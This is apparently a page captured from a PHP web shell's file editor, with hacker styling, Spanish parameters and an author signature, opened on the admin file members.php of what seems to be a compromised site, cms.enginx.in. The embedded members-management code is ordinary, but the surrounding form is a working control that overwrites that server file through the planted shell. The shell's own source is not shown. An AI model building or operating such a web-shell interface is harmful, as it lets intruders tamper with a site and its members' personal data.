

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: members.php</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>&lt;?php
require_once __DIR__ . &#039;/header.php&#039;;

// Fetch members for listing
$conn = db_connect();
$members = [];
$res = $conn-&gt;query(&quot;SELECT id, name, email, phone, address, username, status, created_at FROM members ORDER BY id DESC&quot;);
if ($res) {
    while ($row = $res-&gt;fetch_assoc()) {
        $members[] = $row;
    }
    $res-&gt;free();
}
$conn-&gt;close();
?&gt;
&lt;h2&gt;Members&lt;/h2&gt;
&lt;div class=&quot;d-flex justify-content-between mb-3&quot;&gt;
    &lt;h5 class=&quot;&quot;&gt;Manage members&lt;/h5&gt;
    &lt;button class=&quot;btn btn-primary&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#addMemberModal&quot;&gt;Add Member&lt;/button&gt;
&lt;/div&gt;

&lt;div class=&quot;table-responsive&quot;&gt;
    &lt;table class=&quot;table table-striped table-bordered align-middle&quot;&gt;
        &lt;thead class=&quot;table-dark&quot;&gt;
            &lt;tr&gt;
                &lt;th&gt;ID&lt;/th&gt;
                &lt;th&gt;Name&lt;/th&gt;
                &lt;th&gt;Email&lt;/th&gt;
                &lt;th&gt;Phone&lt;/th&gt;
                &lt;th&gt;Username&lt;/th&gt;
                &lt;th&gt;Status&lt;/th&gt;
                &lt;th&gt;Actions&lt;/th&gt;
            &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
            &lt;?php foreach ($members as $m): ?&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;?php echo e($m[&#039;id&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($m[&#039;name&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($m[&#039;email&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($m[&#039;phone&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($m[&#039;username&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;
                    &lt;span class=&quot;badge &lt;?php echo $m[&#039;status&#039;] === &#039;active&#039; ? &#039;bg-success&#039; : &#039;bg-secondary&#039;; ?&gt;&quot;&gt;
                        &lt;?php echo ucfirst($m[&#039;status&#039;]); ?&gt;
                    &lt;/span&gt;
                &lt;/td&gt;
                &lt;td&gt;
                    &lt;button class=&quot;btn btn-sm btn-info edit-member-btn&quot; 
                        data-id=&quot;&lt;?php echo $m[&#039;id&#039;]; ?&gt;&quot;
                        data-name=&quot;&lt;?php echo e($m[&#039;name&#039;]); ?&gt;&quot;
                        data-email=&quot;&lt;?php echo e($m[&#039;email&#039;]); ?&gt;&quot;
                        data-phone=&quot;&lt;?php echo e($m[&#039;phone&#039;]); ?&gt;&quot;
                        data-address=&quot;&lt;?php echo e($m[&#039;address&#039;]); ?&gt;&quot;
                        data-username=&quot;&lt;?php echo e($m[&#039;username&#039;]); ?&gt;&quot;
                        data-status=&quot;&lt;?php echo e($m[&#039;status&#039;]); ?&gt;&quot;
                        &gt;Edit&lt;/button&gt;
                    &lt;button class=&quot;btn btn-sm btn-danger delete-member-btn&quot; data-id=&quot;&lt;?php echo $m[&#039;id&#039;]; ?&gt;&quot;&gt;Delete&lt;/button&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/tbody&gt;
    &lt;/table&gt;
&lt;/div&gt;

&lt;!-- Add Member Modal --&gt;
&lt;div class=&quot;modal fade&quot; id=&quot;addMemberModal&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;addMemberModalLabel&quot; aria-hidden=&quot;true&quot;&gt;
  &lt;div class=&quot;modal-dialog&quot;&gt;
    &lt;form id=&quot;addMemberForm&quot;&gt;
      &lt;div class=&quot;modal-content&quot;&gt;
        &lt;div class=&quot;modal-header&quot;&gt;
          &lt;h5 class=&quot;modal-title&quot; id=&quot;addMemberModalLabel&quot;&gt;Add Member&lt;/h5&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-body&quot;&gt;
          &lt;div id=&quot;addMemberAlert&quot; class=&quot;alert d-none&quot; role=&quot;alert&quot;&gt;&lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Name&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;name&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Email&lt;/label&gt;
            &lt;input type=&quot;email&quot; name=&quot;email&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Phone&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;phone&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Address&lt;/label&gt;
            &lt;textarea name=&quot;address&quot; class=&quot;form-control&quot; rows=&quot;2&quot; required&gt;&lt;/textarea&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Username&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;username&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Password&lt;/label&gt;
            &lt;input type=&quot;password&quot; name=&quot;password&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Status&lt;/label&gt;
            &lt;select name=&quot;status&quot; class=&quot;form-select&quot;&gt;
              &lt;option value=&quot;active&quot;&gt;Active&lt;/option&gt;
              &lt;option value=&quot;inactive&quot;&gt;Inactive&lt;/option&gt;
            &lt;/select&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-footer&quot;&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
          &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Save&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/form&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;!-- Edit Member Modal --&gt;
&lt;div class=&quot;modal fade&quot; id=&quot;editMemberModal&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;editMemberModalLabel&quot; aria-hidden=&quot;true&quot;&gt;
  &lt;div class=&quot;modal-dialog&quot;&gt;
    &lt;form id=&quot;editMemberForm&quot;&gt;
      &lt;div class=&quot;modal-content&quot;&gt;
        &lt;div class=&quot;modal-header&quot;&gt;
          &lt;h5 class=&quot;modal-title&quot; id=&quot;editMemberModalLabel&quot;&gt;Edit Member&lt;/h5&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-body&quot;&gt;
          &lt;div id=&quot;editMemberAlert&quot; class=&quot;alert d-none&quot; role=&quot;alert&quot;&gt;&lt;/div&gt;
          &lt;input type=&quot;hidden&quot; name=&quot;id&quot; id=&quot;editMemberId&quot;&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Name&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;editName&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Email&lt;/label&gt;
            &lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;editEmail&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Phone&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;phone&quot; id=&quot;editPhone&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Address&lt;/label&gt;
            &lt;textarea name=&quot;address&quot; id=&quot;editAddress&quot; class=&quot;form-control&quot; rows=&quot;2&quot; required&gt;&lt;/textarea&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Username&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;editUsername&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Password (leave blank to keep unchanged)&lt;/label&gt;
            &lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;editPassword&quot; class=&quot;form-control&quot;&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Status&lt;/label&gt;
            &lt;select name=&quot;status&quot; id=&quot;editStatus&quot; class=&quot;form-select&quot;&gt;
              &lt;option value=&quot;active&quot;&gt;Active&lt;/option&gt;
              &lt;option value=&quot;inactive&quot;&gt;Inactive&lt;/option&gt;
            &lt;/select&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-footer&quot;&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
          &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Update&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/form&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
$(document).ready(function() {
    // Handle Add Member
    $(&#039;#addMemberForm&#039;).on(&#039;submit&#039;, function(e) {
        e.preventDefault();
        $.ajax({
            url: &#039;../api/member_add.php&#039;,
            method: &#039;POST&#039;,
            data: $(this).serialize(),
            dataType: &#039;json&#039;,
            success: function(res) {
                if (res.success) {
                    location.reload();
                } else {
                    $(&#039;#addMemberAlert&#039;).removeClass(&#039;d-none alert-success&#039;).addClass(&#039;alert-danger&#039;).text(res.message);
                }
            },
            error: function() {
                $(&#039;#addMemberAlert&#039;).removeClass(&#039;d-none alert-success&#039;).addClass(&#039;alert-danger&#039;).text(&#039;An error occurred.&#039;);
            }
        });
    });

    // Show Edit Modal
    $(&#039;.edit-member-btn&#039;).on(&#039;click&#039;, function() {
        const id = $(this).data(&#039;id&#039;);
        $(&#039;#editMemberId&#039;).val(id);
        $(&#039;#editName&#039;).val($(this).data(&#039;name&#039;));
        $(&#039;#editEmail&#039;).val($(this).data(&#039;email&#039;));
        $(&#039;#editPhone&#039;).val($(this).data(&#039;phone&#039;));
        $(&#039;#editAddress&#039;).val($(this).data(&#039;address&#039;));
        $(&#039;#editUsername&#039;).val($(this).data(&#039;username&#039;));
        $(&#039;#editStatus&#039;).val($(this).data(&#039;status&#039;));
        $(&#039;#editPassword&#039;).val(&#039;&#039;);
        var editModal = new bootstrap.Modal(document.getElementById(&#039;editMemberModal&#039;));
        editModal.show();
    });

    // Handle Edit Member
    $(&#039;#editMemberForm&#039;).on(&#039;submit&#039;, function(e) {
        e.preventDefault();
        $.ajax({
            url: &#039;../api/member_edit.php&#039;,
            method: &#039;POST&#039;,
            data: $(this).serialize(),
            dataType: &#039;json&#039;,
            success: function(res) {
                if (res.success) {
                    location.reload();
                } else {
                    $(&#039;#editMemberAlert&#039;).removeClass(&#039;d-none alert-success&#039;).addClass(&#039;alert-danger&#039;).text(res.message);
                }
            },
            error: function() {
                $(&#039;#editMemberAlert&#039;).removeClass(&#039;d-none alert-success&#039;).addClass(&#039;alert-danger&#039;).text(&#039;An error occurred.&#039;);
            }
        });
    });

    // Handle Delete Member
    $(&#039;.delete-member-btn&#039;).on(&#039;click&#039;, function() {
        if (!confirm(&#039;Are you sure you want to delete this member?&#039;)) return;
        const id = $(this).data(&#039;id&#039;);
        $.ajax({
            url: &#039;../api/member_delete.php&#039;,
            method: &#039;POST&#039;,
            data: { id: id },
            dataType: &#039;json&#039;,
            success: function(res) {
                if (res.success) {
                    location.reload();
                } else {
                    alert(res.message);
                }
            },
            error: function() {
                alert(&#039;An error occurred.&#039;);
            }
        });
    });
});
&lt;/script&gt;
&lt;?php
require_once __DIR__ . &#039;/footer.php&#039;;</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/cms.enginx.in/admin/members.php'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fcms.enginx.in%2Fadmin' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>